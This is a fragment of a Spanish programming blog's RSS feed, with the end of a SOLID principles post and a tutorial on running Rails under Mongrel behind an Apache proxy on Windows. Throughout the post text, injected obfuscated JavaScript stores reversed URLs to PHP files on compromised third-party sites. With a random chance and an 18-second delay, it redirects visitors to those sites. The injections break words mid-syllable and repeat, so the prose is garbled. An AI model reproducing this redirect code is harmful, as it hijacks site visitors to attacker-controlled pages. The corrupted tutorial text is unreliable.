$NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torización se haga sin miedo a romper <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toda la funcionalidad existente.</p>
<p>Referencias: <a href="http://butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod">Principles of OOD</a></p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2009/06/02/principios-basicos-de-oop-solid/feed/</wfw:commentRss>
			<slash:comments>7</slash:comments>
		
		
			</item>
		<item>
		<title>Apache y Mongrel en Windows</title>
		<link>http://blog.climens.net/2009/04/24/apache-y-mongrel-en-windows/</link>
					<comments>http://blog.climens.net/2009/04/24/apache-y-mongrel-en-windows/#comments</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Fri, 24 Apr 2009 08:37:41 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[windows]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=199</guid>

					<description><![CDATA[Después de pelear un ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to intentando hacer funcionar Ruby on Rails con Apache y Fast-CGI en Windows, me iba bastante más lentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to que directamente con Mongrel, así que &#8230; <a href="http://blog.climens.net/2009/04/24/apache-y-mongrel-en-windows/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Después de pelear un ra<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to intentando hacer funcionar <a href="http://www.rubyonrails.org.es/">Ruby on Rails</a> con <a href="http://httpd.apache.org/">Apache</a> y Fast-CGI en Windows, me iba bastante más len<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to que directamente con Mongrel, así que opté por usar este último y hacer un proxy vía Apache con <a href="http://httpd.apache.org/docs/2.0/mod/mod_proxy.html">mod_proxy</a>.</p>
<p><a href="http://rubyforge.org/projects/mongrel/" class="broken_link">Mongrel</a> es bastante fácil de instalar, simplemente se hace un </p>
<pre class="brush: plain; title: ; notranslate">gem install mongrel</pre>
<p> y cuando pide la versión a seleccionar hay que seleccionar la de <em>x86-mswin32</em>.</p>
<p>Para ver si funciona, hay que ir a la carpeta donde está instalada nuestra aplicación Rails y ejecutar </p>
<pre class="brush: plain; title: ; notranslate">mongrel_rails start</pre>
<p> que iniciará el servicio en el puer<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to 3000 y nos dirá si hay algún error.</p>
<p>Una vez comprobado que Mongrel funciona, hay que instalarlo como servicio de Windows, por simple comodidad. Para ello hay que ejecutar </p>
<pre class="brush: plain; title: ; notranslate">gem install win32-service</pre>
<p>, que además nos instalará una serie de paquetes relacionados con Windows. Seleccionar siempre la versión <em>x86-mswin32</em> si está disponible.</p>
<p>Ya está <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo lis<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to para instalar el servicio. Con el siguiente comando:</p>
<pre class="brush: plain; title: ; notranslate">
mongrel_rails service::install -N AplicacionRails -c RutaDeLaAplicacion -p 3001 -e production --prefix=/subdir
</pre>
<p>El nombre de la aplicación, en el parámetro <em>-N</em> es la que saldrá en el listado de servicios de Windows. Lo que va en el parámetro <em>-c</em> es la ruta de la aplicación Rails (no la carpeta public, sino la raíz). Luego se indica el puer<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to en -p (recomiendo que no sea 3000 para no entrar en conflic<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to si ejecutamos Mongrel independientemente). En el parámetro <em>-e</em> se indica el en<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torno, en principio «production» y finalmente y lo más importante, en <em>&#8211;prefix</em> se indica la subcarpeta donde se va alojar, es decir, si va a ser <em>localhost/subdir</em>, el valor deberá ser <em>/subdir</em>. Es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to es sumamente importante para que funcione bien el proxy de Apache. Si va a estar en la raíz, no hace falta poner nada.</p>
<p>En cuan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to a la configuración de Apache, tengo algo más o menos así en <em>httpd.conf</em>:</p>
<pre class="brush: plain; title: ; notranslate">
ProxyRequests off
ProxyPass /subdir http://localhost:3001/subdir
ProxyPreserveHost on

&amp;lt;Location /subdir&amp;gt;
   ProxyPassReverse /
&amp;lt;/Location&amp;gt;
</pre>
<p>Eso sí, hay que tener mod_proxy activado y <a href="http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html">mod_rewrite</a> también (seguro que lo usa el <em>.htaccess</em> de la aplicación Rails).</p>
<p>Y es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return 